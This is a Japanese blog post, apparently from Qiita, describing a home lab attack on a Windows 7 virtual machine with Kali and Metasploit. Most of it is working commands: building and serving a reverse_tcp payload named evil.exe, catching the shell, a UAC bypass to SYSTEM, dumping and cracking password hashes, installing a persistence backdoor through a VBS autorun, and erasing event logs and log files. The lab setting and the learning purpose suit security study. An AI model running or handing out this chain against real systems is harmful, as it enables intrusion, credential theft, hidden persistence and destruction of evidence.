「#ゆるいハッキング大会」に参加した。
ハッキング熱が高まった。
「ハッキング・ラボのつくりかた」を勢いで購入。
今回は、ハッキング・ラボの作り方に載っているWindows7のやり方の、
・Exploit
・情報奪取
・権限昇格
・バックドア設置
・ログ消し
の流れ。
お約束
本記事は、
・防御の為に敵の攻撃を知る
・技術力向上
を目的としている為、記載内容を悪用する事は禁じます。
記載内容を実行した結果として生じた全ての事に、私は一切責任を負いません。
環境について
0.自分のノートPC
HP HP Spectre x360 Convertible 13-ac0XX/827E, BIOS F.31 04/27/2017
Linux dsnote 4.15.0-48-generic #51~16.04.1-Ubuntu SMP Fri Apr 5 12:01:12 UTC 2019 x86_64 GNU/Linux
1. KaliLinux
ハック技術: KaliLinux on Docker - Qiita
2. Windows7(攻撃対象)
ハック技術: Windows7ハック #1 Vagrant VirtualBoxで環境セットアップ編 (on Ubuntu) - Qiita
Exploit, 遠隔操作開始まで
1. Windows向け, TCP型のリバースシェル, ペイロードの検索
ペイロード: 悪意のある動作をする実行コード
# msfconsole
msf > show exploits
msf > search type:payload reverse_tcp platform:windows
...略...
9 payload/windows/meterpreter/reverse_tcp normal No Windows Meterpreter (Reflective Injection), Reverse TCP Stager
...略...
payload/windows/meterpreter/reverse_tcpを使う。
2. ペイロードの作成
msf > msfvenom -p windows/meterpreter/reverse_tcp lhost=172.28.128.1 -f exe -o /root/evil.exe
-p : ペイロードのパス
-f : 出力ファイルの形式
-o : 出力ファイルのパス
lhost : ペイロードのオプションの一つ。接続先の指定。
出力されたペイロードを、何とかして攻撃対象に実行してもらう。
3. 外部からペイロードにアクセスできるようにする
# cd /var/www/html
# mkdir share
# cp /root/evil.exe share/
# chmod -R 755 share
# service apache2 restart
windows側からhttp://172.28.128.1/share/ にアクセス。
evil.exeがダウンロード可能か確かめる。
4. Kaliで、リバースシェルを待ち受ける
msf > use exploit/multi/handler
msf exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
msf exploit(multi/handler) > set lhost 172.28.128.1
msf exploit(multi/handler) > show options
設定されているオプションを確認できる。
msf exploit(multi/handler) > run
プロンプトが返らない設定
5. ペイロードの実行
Windows側でevil.exeをダウンロードして実行。
Kali側で、meterpreterのプロンプトが返ってくる。
6. セッション確立を確認(Windows側
netstat -n | find "ESTABLISHED"
7. Windows7の遠隔操作開始
meterpreter > pwd
meterpreter > ls
パスワードハッシュ取得
1. Windowsのパスワードハッシュ取得の試行
meterpreter > run hashdump
Access is denied.が表示される。
侵入しているユーザの権限が低い。
meterpreter > getsystem
Access is denied.
meterpreter > getuid
Server username: IE11WIN7\IEUser
2. 権限昇格モジュールの試行
既に確立されているセッション1を経由でexploitを実行する。
meterpreter > background
msf exploit(multi/handler) >
msf exploit(multi/handler) > sessions -i
msf exploit(multi/handler) > use exploit/windows/local/bypassuac
msf exploit(windows/local/bypassuac) > show options
msf exploit(windows/local/bypassuac) > set session 1
msf exploit(windows/local/bypassuac) > set payload windows/meterpreter/reverse_tcp
msf exploit(windows/local/bypassuac) > set lhost 172.28.128.1
msf exploit(windows/local/bypassuac) > show options
msf exploit(windows/local/bypassuac) > exploit
meterpreter >
エラーが出ずにmeterpreterプロンプトが返ってくると成功
meterpreter > getuid
Server username: IE11WIN7\IEUser
meterpreter > getsystem -t 1
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
3. 再度、パスワードハッシュ取得の試行
meterpreter > run hashdump
パスワードハッシュの行をコピペしてテキストファイルに貼り付けて保存。(hash.txt)
パスワードクラック
1. 辞書式攻撃
辞書式攻撃で見つからなかったら、総当り攻撃をする。
# john hash.txt --show
# john --wordlist=/usr/share/john/password.lst --format: nt hash.txt
見つからない。
2. 実験用で辞書ファイルにパスワード追記して辞書式攻撃
# cp /usr/share/john/password.lst .
# echo "Passw0rd!" >> password.lst
# john --wordlist=password.lst --format:nt hash.txt
Administratorユーザのパスワードが判明する。
バックドア設置
1. 不要なセッション閉じる
meterpreter > background
msf exploit(windows/local/bypassuac) > sessions -i
セッション1: 一般ユーザ(タスクマネージャーにevil.exeと表示されている)
セッション2: 特権ユーザ(タスクマネージャーに(ランダムな文字列).exe形式で表示されている
セッション1は不要なので閉じる。
msf exploit(windows/local/bypassuac) > sessions -k 1
2. システム情報の取得
msf exploit(windows/local/bypassuac) > sessions 2
meterpreter > run scraper
~/.msf4/logs/scripts/scraper/_(datetime).(number)ディレクトリ以下に保存される。
3. システムの内部情報にアクセス
meterpreter > shell
C:\Windows\system32 >
で、windowsならcmd.exeを実行可能。
WindowsにはWMI(Windows Management Instrumentation)というWindowsシステムを管理するためのインターフェイスが備わっている。
wmicを使えばWMIにアクセス可能。
C:\Windows\system32 > wmic startup
で、自動起動の内容を列挙可能。
4. バックドアの設置(自動でペイロードが実行されるようにする)
meterpreter > run persistence -X -i 60 -P windows/meterpeter/reverse_tcp -p 4444 -r 172.28.128.1
or
msf exploit(handler) > use exploit/windows/local/persistence
msf exploit(persistence) > show options
msf exploit(persistence) > set exe_name service1(バレにくい名前にする
msf exploit(persistence) > sessions
msf exploit(persistence) > set session 1
msf exploit(persistence) > show advanced
msf exploit(persistence) > set exe::custom /root/evil.exe
msf exploit(persistence) > run
SysinternalsのAutorunsでFile>Compareで初期設定で作成したarnファイルを指定すると、差分が表示される。
レジストリにVBSスクリプトのパスが設定されているのと、
そのパスにVBSスクリプトが配置されている事を確認できる。
バックドアの削除には、自動起動のバックドアのレジストリ値を削除し、VBSファイルも削除する。
バックドアがvbsなのは、exeだと実行時の確認ダイアログが出るが、VBSだと出ない。
5. 自動起動の確認
Windowsを終了すると、自動的にセッションが閉じる。
リバースシェルの待ち受け状態を作りなおす。
Windowsを再起動する。
IEUser権限でセッションが確立する。
この設定では60秒毎にKali側にセッションを確立しに来る為、その度にVBSから起動したプロセスが立ち上がり、タスクマネージャーに表示されることに注意。
ログ削除
SYSTEM権限奪取後、clearevコマンドを使う。
meterpreter > clearev
eventvwr.mscで確認可能。
ファイル転送が難しい、インストールする暇が無い、などといった状況では、乱暴だがdelコマンドを使う。
C:\Windows\system32 > del %WINDIR%\*.log /a /s /q /f
/a : 削除ファイルの属性を指定
/s : サブフォルダも対象
/q : ワイルドカード使用時に確認メッセージを表示しない
/f : 読み取り専用ファイルを強制的に削除する
他
自動起動に関するレジストリには他にも種類がある。
調べてみると良い。
おわり
次は、隠蔽化など、ちょっとしたテクニック。
ハック技術: Windows7ハック #4 隠蔽、その他編 - Qiita